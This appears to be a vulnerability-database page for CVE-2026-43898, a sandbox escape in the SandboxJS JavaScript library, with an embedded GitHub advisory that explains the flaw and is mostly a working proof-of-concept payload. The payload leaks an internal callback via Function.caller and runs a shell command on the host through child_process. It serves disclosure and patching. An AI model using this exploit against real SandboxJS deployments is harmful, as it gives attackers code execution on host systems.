CVE-2026-43898
criticalpriority · track · 0EPSS 0.005 · 41 %ileEURUUSEPSS · scored 2026-10-27
SandboxJS is a JavaScript sandboxing library. Prior to 0.9.6, sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript. This vulnerability is fixed in 0.9.6.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-g8f2-4f4f-5jqwSandboxJS has a sandbox escape via Function.caller leakage of internal call op2026-05-11ghsa · osvUS
### Summary Sandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript. ### Details The vulnerability is in the property access logic registered via `addOps` in [prop.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/prop.ts#L10). Sandboxed code could access the `caller`, `callee`, and `arguments` properties on functions. In the CommonJS build, this allowed sandboxed code to read `Function.caller` and leak a privileged internal `LispType.Call` callback. In [executorUtils.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/executorUtils.ts#L239-L282) `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe: ```js function f(){ return f.caller } ``` That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The escape was possible because the `LispType.Call` handler accepts a **params** object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands ### PoC ```js const sandb = require('@nyariv/sandboxjs').default; const sand = new sandb(); const payload = ` const callOp = (function fn() { return fn.caller; })(); function makeContext(capture = () => {}) { return { ctx: { options: 0 }, evals: { get: capture } }; } function leakStatic(obj, prop) { let leaked; callOp({ done() {}, a() {}, b: [], obj: { context: obj, prop, get() {} }, context: makeContext((fn) => (leaked = fn, () => 1)) }); return leaked; } function callDirect(fn, args) { let value; callOp({ done(_, result) { value = result; }, a() {}, b: args, obj: fn, context: makeContext() }); return value; } callDirect(leakStatic(Object, 'defineProperty'), [ leakStatic, 'call', callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [ callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]), 'constructor' ]) ]); let hostFn; callOp({ done(_, result) { hostFn = result; }, a: leakStatic, b: [], obj: { context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()', get() {} }, context: makeContext() }); return hostFn(); `; console.log(sand.compile(payload)().run()); ``` ### Impact _Sandbox escape leads to RCE_
also known as (4)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (7)
External citations — patches, advisories, analysis.
- https://github.com/nyariv/SandboxJS/commit/826865251232611ec94078bab5a18ec875dad4a5cnnvd
- https://github.com/nyariv/SandboxJS/releasesPatchcnnvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-g8f2-4f4f-5jqwcnnvd
- https://github.com/nyariv/SandboxJS/commit/826865251232611ec94078bab5a18ec875dad4a5enisa_euvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-g8f2-4f4f-5jqwenisa_euvd
- https://github.com/nyariv/SandboxJS/commit/826865251232611ec94078bab5a18ec875dad4a5Patchnvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-g8f2-4f4f-5jqwExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan